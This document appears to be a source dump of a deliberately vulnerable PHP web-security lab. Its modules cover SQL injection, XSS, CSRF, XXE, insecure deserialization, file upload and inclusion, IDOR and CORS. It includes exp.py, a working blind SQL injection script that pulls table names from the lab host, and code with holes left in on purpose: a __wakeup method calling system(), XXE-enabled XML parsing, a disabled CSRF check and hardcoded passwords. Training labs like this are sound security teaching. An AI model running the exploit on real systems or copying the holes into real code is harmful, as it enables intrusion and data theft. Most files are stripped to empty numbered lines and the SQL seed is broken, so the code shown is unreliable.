3 | -- http://www.phpmyadmin.net
4 | --
5 | -- Host: 127.0.0.1
6 | -- Generation Time: Sep 03, 2019 at 12:40 PM
7 | -- Server version: 5.7.11
8 | -- PHP Version: 7.0.4
9 |
10 | CREATE USER 'ctfuser'@'localhost' IDENTIFIED BY 'P@sswp@@1';
11 | CREATE DATABASE labs_db;
12 | GRANT ALL PRIVILEGES ON labs_db.* TO 'ctfuser'@'localhost';
13 | USE labs_db;
14 |
15 | SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
16 | SET time_zone = "+00:00";
17 |
18 |
19 | /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
20 | /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
21 | /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
22 | /*!40101 SET NAMES utf8mb4 */;
23 |
24 | --
25 | -- Database: `labs_db`
26 | --
27 |
28 | -- --------------------------------------------------------
29 |
30 |
31 | -- Create the comments table and insert dummy values
32 | CREATE TABLE comments (
33 | uname VARCHAR(50),
34 | comment TEXT,
35 | link VARCHAR(255)
36 | );
37 |
38 | INSERT INTO comments (uname, comment, link) VALUES
39 | ('user1', 'This is a comment', 'http://example.com'),
40 | ('user2', 'Another comment', 'http://example.org');
41 |
42 | -- Create the books table and insert dummy values
43 | CREATE TABLE books (
44 | name VARCHAR(100),
45 | author VARCHAR(100),
46 | story TEXT
47 | );
48 |
49 | INSERT INTO books (name, author, story) VALUES
50 | ('Book One', 'Author One', 'Story of book one'),
51 | ('Book Two', 'Author Two', 'Story of book two');
52 |
53 | -- Create the contact table
54 | CREATE TABLE contact (
55 | name VARCHAR(100),
56 | email VARCHAR(100),
57 | message TEXT,
58 | user_agent VARCHAR(255)
59 | );
60 |
61 | -- Create the users table and insert a dummy user
62 | CREATE TABLE users (
63 | username VARCHAR(50),
64 | pass VARCHAR(50)
65 | );
66 |
67 | INSERT INTO users (username, pass) VALUES
68 | ('guest', 'guest');
69 | INSERT INTO users (username, pass) VALUES
70 | ('admin', 'Passw0rd');
71 | INSERT INTO users (username, pass) VALUES
72 | ('noBody', 'yesNoOne');
73 |
74 | -- Create the users_csrf table and insert a dummy user
75 | CREATE TABLE users_csrf (
76 | username VARCHAR(50),
77 | email VARCHAR(100),
78 | password VARCHAR(50)
79 | );
80 |
81 | INSERT INTO users_csrf (username, email, password) VALUES
82 | ('guest', 'guest@example.com', 'guest');
83 | ('admin', 'admin@example.com', 'PasswordAdmin');
84 | ('nobody', 'nobody@example.com', 'yesWeHack');
85 |
--------------------------------------------------------------------------------
/labs_docker/main.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | echo '[+] Starting apache'
4 |
5 | service apache2 start
6 |
7 | echo '[+] Starting mysql'
8 | service mysql start
9 | # for sanity check
10 | mysql -uroot -proot < /docker-entrypoint-initdb.d
11 |
12 | while true
13 | do
14 | tail -f /var/log/apache2/*.log
15 | exit 0
16 | done
17 |
--------------------------------------------------------------------------------
/labs_docker/src/config.php:
--------------------------------------------------------------------------------
1 | connect_error) {
18 | die("Connection failed: " . $conn->connect_error);
19 | }
20 |
21 | echo "Connected successfully";
22 |
--------------------------------------------------------------------------------
/labs_docker/src/cors/index.php:
--------------------------------------------------------------------------------
1 |
2 |
3 | Books Library
4 |
5 |
6 |
7 |
8 |
16 |
17 |
18 |
19 |
20 |
21 |
38 |
39 |
--------------------------------------------------------------------------------
/labs_docker/src/cors/info.php:
--------------------------------------------------------------------------------
1 | alert('Username/Password is invalid.')";
10 | }
11 | }
12 | ?>
13 |
14 |
15 | Books Library
16 |
17 |
18 |
19 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
--------------------------------------------------------------------------------
/labs_docker/src/cors/profile.php:
--------------------------------------------------------------------------------
1 |
11 |
12 |
13 |
14 | Books Library
15 |
16 |
17 |
18 |
19 |
27 |
28 |
29 |
30 |
31 |
32 |
49 |
50 |
--------------------------------------------------------------------------------
/labs_docker/src/cors/style/css.css:
--------------------------------------------------------------------------------
1 | #name{
2 | width: 300px;
3 | height: 30px;
4 | text-align: center;
5 | border-radius: 4px;
6 | }
7 | input{border-style: solid;background: #f1f1f1;}
8 | input[type="submit"]{
9 | width: 60px;
10 | height: 30px;
11 | }
12 |
13 | #fname, #email{
14 | height: 40px;
15 | text-align: center;
16 | }
17 | #send{
18 | background-color: dodgerblue;
19 | height: 40px
20 | }
21 | #msg{
22 | height: 200px;
23 | background: #f1f1f1;
24 | }
25 |
26 | #pwd,#uname,#fname, #email, #msg, #send{
27 | width: 400px;
28 | margin: 2px;
29 | border-style: solid;
30 | }
31 |
32 | #search{
33 | color: black;
34 | text-align: center;
35 | text-decoration: none;
36 | border-radius: 4px;
37 | }
38 | body{background: #f1f1f1;}
39 | #type{
40 | width: 400px;
41 | }
42 |
43 | /* Style the header with a grey background and some padding */
44 | .header {
45 | overflow: hidden;
46 | background-color: #f1f1f1;
47 | padding: 20px 10px;
48 | }
49 |
50 | /* Style the header links */
51 | .header a {
52 | float: left;
53 | color: black;
54 | text-align: center;
55 | padding: 12px;
56 | text-decoration: none;
57 | font-size: 18px;
58 | line-height: 25px;
59 | border-radius: 4px;
60 | }
61 |
62 | /* Style the logo link (notice that we set the same value of line-height and font-size to prevent the header to increase when the font gets bigger */
63 | .header a.logo {
64 | font-size: 25px;
65 | font-weight: bold;
66 | }
67 |
68 | /* Change the background color on mouse-over */
69 | .header a:hover {
70 | background-color: #ddd;
71 | color: black;
72 | }
73 |
74 | /* Style the active/current link*/
75 | .header a.active {
76 | background-color: dodgerblue;
77 | color: white;
78 | }
79 |
80 | /* Float the link section to the right */
81 | .header-right {
82 | float: right;
83 | }
84 |
85 | /* Add media queries for responsiveness - when the screen is 500px wide or less, stack the links on top of each other */
86 | @media screen and (max-width: 500px) {
87 | .header a {
88 | float: none;
89 | display: block;
90 | text-align: left;
91 | }
92 | .header-right {
93 | float: none;
94 | }
95 | }
96 |
97 | .be-comment-block {
98 | margin-bottom: 50px !important;
99 | border: 1px solid #edeff2;
100 | border-radius: 2px;
101 | padding: 50px 70px;
102 | border:1px solid #ffffff;
103 | }
104 |
105 | .comments-title {
106 | font-size: 16px;
107 | color: #262626;
108 | margin-bottom: 15px;
109 | font-family: 'Conv_helveticaneuecyr-bold';
110 | }
111 |
112 | .be-img-comment {
113 | width: 60px;
114 | height: 60px;
115 | float: left;
116 | margin-bottom: 15px;
117 | }
118 |
119 | .be-ava-comment {
120 | width: 60px;
121 | height: 60px;
122 | border-radius: 50%;
123 | }
124 |
125 | .be-comment-content {
126 | margin-left: 80px;
127 | }
128 |
129 | .be-comment-content span {
130 | display: inline-block;
131 | width: 49%;
132 | margin-bottom: 15px;
133 | }
134 |
135 | .be-comment-name {
136 | font-size: 13px;
137 | font-family: 'Conv_helveticaneuecyr-bold';
138 | }
139 |
140 | .be-comment-content a {
141 | color: #383b43;
142 | }
143 |
144 | .be-comment-content span {
145 | display: inline-block;
146 | width: 49%;
147 | margin-bottom: 15px;
148 | }
149 |
150 | .be-comment-time {
151 | text-align: right;
152 | }
153 |
154 | .be-comment-time {
155 | font-size: 11px;
156 | color: #b4b7c1;
157 | }
158 |
159 | .be-comment-text {
160 | font-size: 13px;
161 | line-height: 18px;
162 | color: #7a8192;
163 | display: block;
164 | background: #f6f6f7;
165 | border: 1px solid #edeff2;
166 | padding: 15px 20px 20px 20px;
167 | }
168 |
169 | .form-group.fl_icon .icon {
170 | position: absolute;
171 | top: 1px;
172 | left: 16px;
173 | width: 48px;
174 | height: 48px;
175 | background: #f6f6f7;
176 | color: #b5b8c2;
177 | text-align: center;
178 | line-height: 50px;
179 | -webkit-border-top-left-radius: 2px;
180 | -webkit-border-bottom-left-radius: 2px;
181 | -moz-border-radius-topleft: 2px;
182 | -moz-border-radius-bottomleft: 2px;
183 | border-top-left-radius: 2px;
184 | border-bottom-left-radius: 2px;
185 | }
186 | .form-input{
187 | border: 1px solid #000;
188 | border-radius: 3px;
189 | }
190 | .form-group{
191 | border: 1px solid #edeff2;
192 | border-radius: 3px;
193 | }
194 | .form-group .form-input {
195 | font-size: 13px;
196 | line-height: 50px;
197 | font-weight: 400;
198 | color: #000;
199 | width: 100%;
200 | height: 50px;
201 | padding-left: 20px;
202 | padding-right: 20px;
203 | }
204 |
205 | .form-group.fl_icon .form-input {
206 | padding-left: 70px;
207 | }
208 |
209 | .form-group textarea.form-input {
210 | height: 150px;
211 | }
--------------------------------------------------------------------------------
/labs_docker/src/csrf/index.php:
--------------------------------------------------------------------------------
1 |
2 |
3 | Books Library
4 |
5 |
6 |
7 |
8 |
16 |
17 |
18 |
19 |
20 |
21 |
38 |
39 |
--------------------------------------------------------------------------------
/labs_docker/src/csrf/login.php:
--------------------------------------------------------------------------------
1 | alert('Username/Password is invalid.')";
10 | }
11 | }
12 | ?>
13 |
14 |
15 | Books Library
16 |
17 |
18 |
19 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
--------------------------------------------------------------------------------
/labs_docker/src/csrf/profile.php:
--------------------------------------------------------------------------------
1 |
26 |
27 |
28 | Books Library
29 |
30 |
31 |
32 |
33 |
42 |
66 |
67 |
68 |
--------------------------------------------------------------------------------
/labs_docker/src/csrf/settings.php:
--------------------------------------------------------------------------------
1 | alert('CSRF Token invalid.')";
17 | // }else{
18 | // $csrftoken = $_POST['csrftoken'];
19 | // $newEmail = addslashes($_POST['nemail']);
20 |
21 | // $sql2update = "UPDATE users_csrf SET email='$newEmail' WHERE username='guest';";
22 | // $res2update = mysqli_query($conn, $sql2update);
23 | // }
24 | // }
25 |
26 | $token = md5(random_bytes(100));
27 | // $_SESSION['t'] = $token;
28 |
29 |
30 | $sql2getEmail = "SELECT email FROM users_csrf";
31 | $res2getEmail = mysqli_query($conn, $sql2getEmail);
32 | $rows = mysqli_fetch_array($res2getEmail);
33 |
34 | ?>
35 |
36 |
37 | Books Library
38 |
39 |
40 |
41 |
50 |
65 |
66 |
--------------------------------------------------------------------------------
/labs_docker/src/file inclusion/add.php:
--------------------------------------------------------------------------------
1 |
17 |
18 |
19 | Books Library
20 |
21 |
22 |
23 |
24 |
33 |
42 |
43 |
--------------------------------------------------------------------------------
/labs_docker/src/file inclusion/files/index.php:
--------------------------------------------------------------------------------
1 | Forbidden.
--------------------------------------------------------------------------------
/labs_docker/src/file inclusion/fun.php:
--------------------------------------------------------------------------------
1 |
14 |
15 |
16 | Books Library
17 |
18 |
19 |
20 |
21 |
30 |
31 |
32 |
33 |
34 |
35 |
52 |
53 |
--------------------------------------------------------------------------------
/labs_docker/src/file inclusion/login.php:
--------------------------------------------------------------------------------
1 | alert('Username/Password is invalid.')";
13 | }
14 | }
15 | ?>
16 |
17 |
18 | Books Library
19 |
20 |
21 |
22 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
--------------------------------------------------------------------------------
/labs_docker/src/file inclusion/msg.txt:
--------------------------------------------------------------------------------
1 | Welcome To our website.We will servie you as best as we can, if you have any issue send to us.
--------------------------------------------------------------------------------
/labs_docker/src/file inclusion/profile.php:
--------------------------------------------------------------------------------
1 |
12 |
13 |
14 | Books Library
15 |
16 |
17 |
18 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
--------------------------------------------------------------------------------
/labs_docker/src/idor/index.php:
--------------------------------------------------------------------------------
1 |
2 |
3 | Books Library
4 |
5 |
6 |
7 |
8 |
16 |
17 |
18 |
19 |
20 |
21 |
38 |
39 |
--------------------------------------------------------------------------------
/labs_docker/src/idor/login.php:
--------------------------------------------------------------------------------
1 | alert('Username/Password is invalid.')";
13 | }
14 | }
15 | ?>
16 |
17 |
18 | Books Library
19 |
20 |
21 |
22 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
--------------------------------------------------------------------------------
/labs_docker/src/idor/profile.php:
--------------------------------------------------------------------------------
1 |
29 |
30 |
31 | Books Library
32 |
33 |
34 |
35 |
36 |
44 |
45 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
--------------------------------------------------------------------------------
/labs_docker/src/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
13 |
14 | Directory Links
15 |
16 |
17 | Directory Links
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
--------------------------------------------------------------------------------
/labs_docker/src/insecuredes/backup.bak:
--------------------------------------------------------------------------------
1 | command2GetDate = $d;
18 | }
19 |
20 | function __wakeup(){
21 | system($this->command2GetDate);
22 | }
23 | }
24 |
25 |
--------------------------------------------------------------------------------
/labs_docker/src/insecuredes/classes.php:
--------------------------------------------------------------------------------
1 | command2GetDate = $d;
16 | }
17 |
18 | function __wakeup(){
19 | system($this->command2GetDate);
20 | }
21 | }
22 |
23 | ?>
--------------------------------------------------------------------------------
/labs_docker/src/insecuredes/index.php:
--------------------------------------------------------------------------------
1 |
2 |
3 | Books Library
4 |
5 |
6 |
7 |
15 |
16 |
17 |
18 |
19 |
20 |
37 |
38 |
--------------------------------------------------------------------------------
/labs_docker/src/insecuredes/login.php:
--------------------------------------------------------------------------------
1 | u = $_POST['uname'];
12 | $userObj->r = "guest";
13 | $userObj->dn = "Guest User";
14 |
15 | setcookie("sessionid",base64_encode(serialize($userObj)),time()+3600);
16 |
17 | header("Location: profile.php");
18 |
19 | }else{
20 | echo "";
21 | }
22 | }
23 | ?>
24 |
25 |
26 | Books Library
27 |
28 |
29 |
30 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
--------------------------------------------------------------------------------
/labs_docker/src/insecuredes/profile.php:
--------------------------------------------------------------------------------
1 | r;
13 | $uname = $deser->u;
14 | $dn = $deser->dn;
15 |
16 | if($role == 'admin'){
17 | $dn = "Admin";
18 | }
19 |
20 | ?>
21 |
22 |
23 |
24 | Books Library
25 |
26 |
27 |
28 |
36 |
37 | Welcome .
38 |
39 |
40 |
42 |
43 |
44 |
--------------------------------------------------------------------------------
/labs_docker/src/jsonp/index.php:
--------------------------------------------------------------------------------
1 |
2 |
3 | Books Library
4 |
5 |
6 |
7 |
15 |
16 |
17 |
18 |
19 |
20 |
37 |
38 |
--------------------------------------------------------------------------------
/labs_docker/src/jsonp/info.php:
--------------------------------------------------------------------------------
1 | alert('Username/Password is invalid.')";
11 | }
12 | }
13 |
14 |
15 | ?>
16 |
17 |
18 | Books Library
19 |
20 |
21 |
22 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
--------------------------------------------------------------------------------
/labs_docker/src/jsonp/profile.php:
--------------------------------------------------------------------------------
1 |
10 |
11 |
12 | Books Library
13 |
14 |
15 |
16 |
24 |
25 |
26 |
27 |
28 |
36 |
37 |
38 |
39 |
--------------------------------------------------------------------------------
/labs_docker/src/postmessage/index.php:
--------------------------------------------------------------------------------
1 |
2 |
3 | Books Library
4 |
5 |
6 |
7 |
8 |
14 |
15 |
16 |
17 |
18 |
19 |
35 |
36 |
37 |
--------------------------------------------------------------------------------
/labs_docker/src/sql/exp.py:
--------------------------------------------------------------------------------
1 | import requests
2 |
3 | url = 'http://vuln.labs/labs/sql/login.php'
4 |
5 | alpha = "abcdefghijklmnopqrstuvwxyz"
6 | username = []
7 | length = 0
8 |
9 | place = 3
10 |
11 | # get length
12 | for i in range(1, 20):
13 | link = url
14 | payload = "f' or length((select table_name from information_schema.tables where table_schema=database() limit "+str(place)+",1))="+str(i)+" limit 1,1#"
15 | params = {"pwd":"f",'uname':payload}
16 | req = requests.post(link, data=params)
17 | print(payload)
18 | if "Username/Password" not in req.text:
19 | length = i
20 | break
21 |
22 | # extract info from database
23 | for i in range(1, length+1):
24 | for f in alpha:
25 | link = url
26 | payload = "f' or ascii(substring((select table_name from information_schema.tables where table_schema=database() limit "+str(place)+",1),"+str(i)+",1))="+str(ord(f))+" limit 1,1#"
27 | params = {"pwd":"f",'uname':payload}
28 | req = requests.post(link, data=params)
29 |
30 | if "Username/Password" not in req.text:
31 | print("Char: " + f)
32 | username.append(f)
33 |
34 |
--------------------------------------------------------------------------------
/labs_docker/src/sql/index.php:
--------------------------------------------------------------------------------
1 |
2 |
3 | Books Library
4 |
5 |
6 |
7 |
8 |
17 |
18 |
19 |
20 |
21 |
22 |
39 |
40 |
--------------------------------------------------------------------------------
/labs_docker/src/sql/login.php:
--------------------------------------------------------------------------------
1 | 0) {
20 | $_SESSION['islogin'] = 1;
21 | $_SESSION['username'] = $rows['username'];
22 | header("Location: profile.php");
23 | }else{
24 | echo "";
25 | }
26 | }
27 | ?>
28 |
29 |
30 | Books Library
31 |
32 |
33 |
34 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
--------------------------------------------------------------------------------
/labs_docker/src/sql/profile.php:
--------------------------------------------------------------------------------
1 |
10 |
11 |
12 |
13 | Books Library
14 |
15 |
16 |
17 |
26 |
27 |
28 |
37 |
38 |
39 |
--------------------------------------------------------------------------------
/labs_docker/src/sql/search.php:
--------------------------------------------------------------------------------
1 |
16 |
17 |
18 | Books Application
19 |
20 |
21 |
22 |
31 |
32 |
33 | Name:
34 |
35 |
36 |
37 |
38 |
39 | Auther: ".$rows['auther']." ";
43 | echo "Book Name: ".$rows['name']." ";
44 | echo "Story: ".$rows['story']." ";
45 | }
46 | }
47 |
48 | ?>
49 |
50 |
51 |
52 |
53 |
--------------------------------------------------------------------------------
/labs_docker/src/style/css.css:
--------------------------------------------------------------------------------
1 | #name{
2 | width: 300px;
3 | height: 30px;
4 | text-align: center;
5 | border-radius: 4px;
6 | }
7 | input{border-style: solid;background: #f1f1f1;}
8 | input[type="submit"]{
9 | width: 60px;
10 | height: 30px;
11 | }
12 |
13 | #fname, #email{
14 | height: 40px;
15 | text-align: center;
16 | }
17 | #send{
18 | background-color: dodgerblue;
19 | height: 40px
20 | }
21 | #msg{
22 | height: 200px;
23 | background: #f1f1f1;
24 | }
25 |
26 | #pwd,#uname,#fname, #email, #msg, #send{
27 | width: 400px;
28 | margin: 2px;
29 | border-style: solid;
30 | }
31 |
32 | #search{
33 | color: black;
34 | text-align: center;
35 | text-decoration: none;
36 | border-radius: 4px;
37 | }
38 | body{background: #f1f1f1;}
39 | #type{
40 | width: 400px;
41 | }
42 |
43 | /* Style the header with a grey background and some padding */
44 | .header {
45 | overflow: hidden;
46 | background-color: #f1f1f1;
47 | padding: 20px 10px;
48 | }
49 |
50 | /* Style the header links */
51 | .header a {
52 | float: left;
53 | color: black;
54 | text-align: center;
55 | padding: 12px;
56 | text-decoration: none;
57 | font-size: 18px;
58 | line-height: 25px;
59 | border-radius: 4px;
60 | }
61 |
62 | /* Style the logo link (notice that we set the same value of line-height and font-size to prevent the header to increase when the font gets bigger */
63 | .header a.logo {
64 | font-size: 25px;
65 | font-weight: bold;
66 | }
67 |
68 | /* Change the background color on mouse-over */
69 | .header a:hover {
70 | background-color: #ddd;
71 | color: black;
72 | }
73 |
74 | /* Style the active/current link*/
75 | .header a.active {
76 | background-color: dodgerblue;
77 | color: white;
78 | }
79 |
80 | /* Float the link section to the right */
81 | .header-right {
82 | float: right;
83 | }
84 |
85 | /* Add media queries for responsiveness - when the screen is 500px wide or less, stack the links on top of each other */
86 | @media screen and (max-width: 500px) {
87 | .header a {
88 | float: none;
89 | display: block;
90 | text-align: left;
91 | }
92 | .header-right {
93 | float: none;
94 | }
95 | }
96 |
97 | .be-comment-block {
98 | margin-bottom: 50px !important;
99 | border: 1px solid #edeff2;
100 | border-radius: 2px;
101 | padding: 50px 70px;
102 | border:1px solid #ffffff;
103 | }
104 |
105 | .comments-title {
106 | font-size: 16px;
107 | color: #262626;
108 | margin-bottom: 15px;
109 | font-family: 'Conv_helveticaneuecyr-bold';
110 | }
111 |
112 | .be-img-comment {
113 | width: 60px;
114 | height: 60px;
115 | float: left;
116 | margin-bottom: 15px;
117 | }
118 |
119 | .be-ava-comment {
120 | width: 60px;
121 | height: 60px;
122 | border-radius: 50%;
123 | }
124 |
125 | .be-comment-content {
126 | margin-left: 80px;
127 | }
128 |
129 | .be-comment-content span {
130 | display: inline-block;
131 | width: 49%;
132 | margin-bottom: 15px;
133 | }
134 |
135 | .be-comment-name {
136 | font-size: 13px;
137 | font-family: 'Conv_helveticaneuecyr-bold';
138 | }
139 |
140 | .be-comment-content a {
141 | color: #383b43;
142 | }
143 |
144 | .be-comment-content span {
145 | display: inline-block;
146 | width: 49%;
147 | margin-bottom: 15px;
148 | }
149 |
150 | .be-comment-time {
151 | text-align: right;
152 | }
153 |
154 | .be-comment-time {
155 | font-size: 11px;
156 | color: #b4b7c1;
157 | }
158 |
159 | .be-comment-text {
160 | font-size: 13px;
161 | line-height: 18px;
162 | color: #7a8192;
163 | display: block;
164 | background: #f6f6f7;
165 | border: 1px solid #edeff2;
166 | padding: 15px 20px 20px 20px;
167 | }
168 |
169 | .form-group.fl_icon .icon {
170 | position: absolute;
171 | top: 1px;
172 | left: 16px;
173 | width: 48px;
174 | height: 48px;
175 | background: #f6f6f7;
176 | color: #b5b8c2;
177 | text-align: center;
178 | line-height: 50px;
179 | -webkit-border-top-left-radius: 2px;
180 | -webkit-border-bottom-left-radius: 2px;
181 | -moz-border-radius-topleft: 2px;
182 | -moz-border-radius-bottomleft: 2px;
183 | border-top-left-radius: 2px;
184 | border-bottom-left-radius: 2px;
185 | }
186 | .form-input{
187 | border: 1px solid #000;
188 | border-radius: 3px;
189 | }
190 | .form-group{
191 | border: 1px solid #edeff2;
192 | border-radius: 3px;
193 | }
194 | .form-group .form-input {
195 | font-size: 13px;
196 | line-height: 50px;
197 | font-weight: 400;
198 | color: #000;
199 | width: 100%;
200 | height: 50px;
201 | padding-left: 20px;
202 | padding-right: 20px;
203 | }
204 |
205 | .form-group.fl_icon .form-input {
206 | padding-left: 70px;
207 | }
208 |
209 | .form-group textarea.form-input {
210 | height: 150px;
211 | }
--------------------------------------------------------------------------------
/labs_docker/src/upload/index.php:
--------------------------------------------------------------------------------
1 |
2 |
3 | Books Library
4 |
5 |
6 |
7 |
8 |
16 |
17 |
18 |
19 |
20 |
21 |
38 |
39 |
--------------------------------------------------------------------------------
/labs_docker/src/upload/login.php:
--------------------------------------------------------------------------------
1 | alert('Username/Password is invalid.')";
10 | }
11 | }
12 | ?>
13 |
14 |
15 | Books Library
16 |
17 |
18 |
19 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
--------------------------------------------------------------------------------
/labs_docker/src/upload/profile.php:
--------------------------------------------------------------------------------
1 |
41 |
42 |
43 | Books Library
44 |
45 |
46 |
47 |
55 |
56 |
63 |
64 |
65 |
66 |
--------------------------------------------------------------------------------
/labs_docker/src/xss/XSS Fileters&Bypasses/endpoint.php:
--------------------------------------------------------------------------------
1 | '\"";
9 | $ch = strpbrk($val, $illegal);
10 |
11 | if( $ch ){
12 | echo "'XSS DETECTED'";
13 | }else{
14 | echo "'".$val."'";
15 | }
16 | }
17 |
18 | ?>
19 |
20 |
21 |
22 |
--------------------------------------------------------------------------------
/labs_docker/src/xss/XSS Fileters&Bypasses/xss2.php:
--------------------------------------------------------------------------------
1 |
16 |
17 |
18 |
--------------------------------------------------------------------------------
/labs_docker/src/xss/XSS Fileters&Bypasses/xss3.php:
--------------------------------------------------------------------------------
1 |
16 |
17 |
18 |
--------------------------------------------------------------------------------
/labs_docker/src/xss/XSS Fileters&Bypasses/xss4.php:
--------------------------------------------------------------------------------
1 |
12 |
13 |
--------------------------------------------------------------------------------
/labs_docker/src/xss/XSS Fileters&Bypasses/xss5.php:
--------------------------------------------------------------------------------
1 |
17 |
18 |
--------------------------------------------------------------------------------
/labs_docker/src/xss/XSS Fileters&Bypasses/xss6.php:
--------------------------------------------------------------------------------
1 |
16 |
17 |
--------------------------------------------------------------------------------
/labs_docker/src/xss/about.php:
--------------------------------------------------------------------------------
1 |
2 |
3 | Books Library
4 |
5 |
6 |
7 |
8 |
19 |
20 |
21 |
22 |
23 |
24 |
30 |
31 |
--------------------------------------------------------------------------------
/labs_docker/src/xss/contact.php:
--------------------------------------------------------------------------------
1 | alert('Your message sent to Admin.')";
21 | }
22 | ?>
23 |
24 |
25 |
26 | Books Library
27 |
28 |
29 |
30 |
31 |
32 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
60 |
61 |
--------------------------------------------------------------------------------
/labs_docker/src/xss/index.php:
--------------------------------------------------------------------------------
1 |
2 |
3 | Books Library
4 |
5 |
6 |
7 |
8 |
19 |
20 |
21 |
22 |
23 |
24 |
41 |
42 |
--------------------------------------------------------------------------------
/labs_docker/src/xss/login.php:
--------------------------------------------------------------------------------
1 | alert('Username/Password is invalid.')";
10 | }
11 | }
12 | ?>
13 |
14 |
15 | Books Library
16 |
17 |
18 |
19 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
--------------------------------------------------------------------------------
/labs_docker/src/xss/profile.php:
--------------------------------------------------------------------------------
1 |
27 |
28 |
29 |
30 | Books Library
31 |
32 |
33 |
34 |
45 |
46 |
70 |
71 |
72 |
--------------------------------------------------------------------------------
/labs_docker/src/xss/search.php:
--------------------------------------------------------------------------------
1 |
2 |
3 | Books Application
4 |
5 |
6 |
7 |
8 |
19 |
20 |
21 | Name:
22 |
23 |
24 |
25 |
26 |
27 | ".htmlspecialchars($_GET['u'])."";
30 | }
31 | ?>
32 |
33 |
34 |
35 |
36 |
--------------------------------------------------------------------------------
/labs_docker/src/xss/secret/admin_panel.php:
--------------------------------------------------------------------------------
1 |
12 |
13 |
14 |
15 | Books Library
16 |
17 |
18 |
19 |
30 |
31 |
32 |
46 |
47 |
48 |
49 |
--------------------------------------------------------------------------------
/labs_docker/src/xxe/check.php:
--------------------------------------------------------------------------------
1 | loadXML($xm, LIBXML_NOENT | LIBXML_DTDLOAD);
9 | $login = simplexml_import_dom($dom);
10 | $user = $login->user;
11 | $pass = $login->pass;
12 |
13 | if( $user == "guest" && $pass == "guest" ){
14 | $_SESSION['islogin'] = 1;
15 | $_SESSION['username'] = $user;
16 | header("Location: profile.php");
17 | }else{
18 | echo "t";
19 | }
--------------------------------------------------------------------------------
/labs_docker/src/xxe/index.php:
--------------------------------------------------------------------------------
1 |
2 |
3 | Books Library
4 |
5 |
6 |
7 |
15 |
16 |
17 |
18 |
19 |
20 |
37 |
38 |
--------------------------------------------------------------------------------
/labs_docker/src/xxe/login.php:
--------------------------------------------------------------------------------
1 | alert('Username/Password is invalid.')";
11 | }
12 | }
13 |
14 |
15 | ?>
16 |
17 |
18 | Books Library
19 |
20 |
21 |
22 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
--------------------------------------------------------------------------------
/labs_docker/src/xxe/profile.php:
--------------------------------------------------------------------------------
1 | loadXML($xm, LIBXML_NOENT | LIBXML_DTDLOAD);
46 | $userInfo = @simplexml_import_dom($dom);
47 | $user = @$userInfo->user;
48 | $email = @$userInfo->email;
49 | $role = @$userInfo->role;
50 | $output = "User Name: $user
Email: $email
Role: $role
";
51 | }else{
52 | $myfile = fopen($target_path, "r");
53 | $content = fread($myfile, filesize($target_path));
54 | $xm = $content;
55 | $dom = new DOMDocument();
56 | try{
57 | @$dom->loadXML($xm, LIBXML_NOENT | LIBXML_DTDLOAD);
58 | }catch (Exception $e){
59 | echo "There is error in: ". $e->getMessage() . '\n';
60 | }
61 | $userInfo = @simplexml_import_dom($dom);
62 | $output = "User Sucessfully Added.";
63 | }
64 | unlink($target_path);
65 | }
66 | }else{
67 | $msg .= "File already exists.";
68 | }
69 | }
70 | }
71 | ?>
72 |
73 |
74 |
75 | Books Library
76 |
77 |
78 |
79 |
87 |
88 |
103 |
104 |
--------------------------------------------------------------------------------
'.$rows['comment'].'
'; 50 | echo '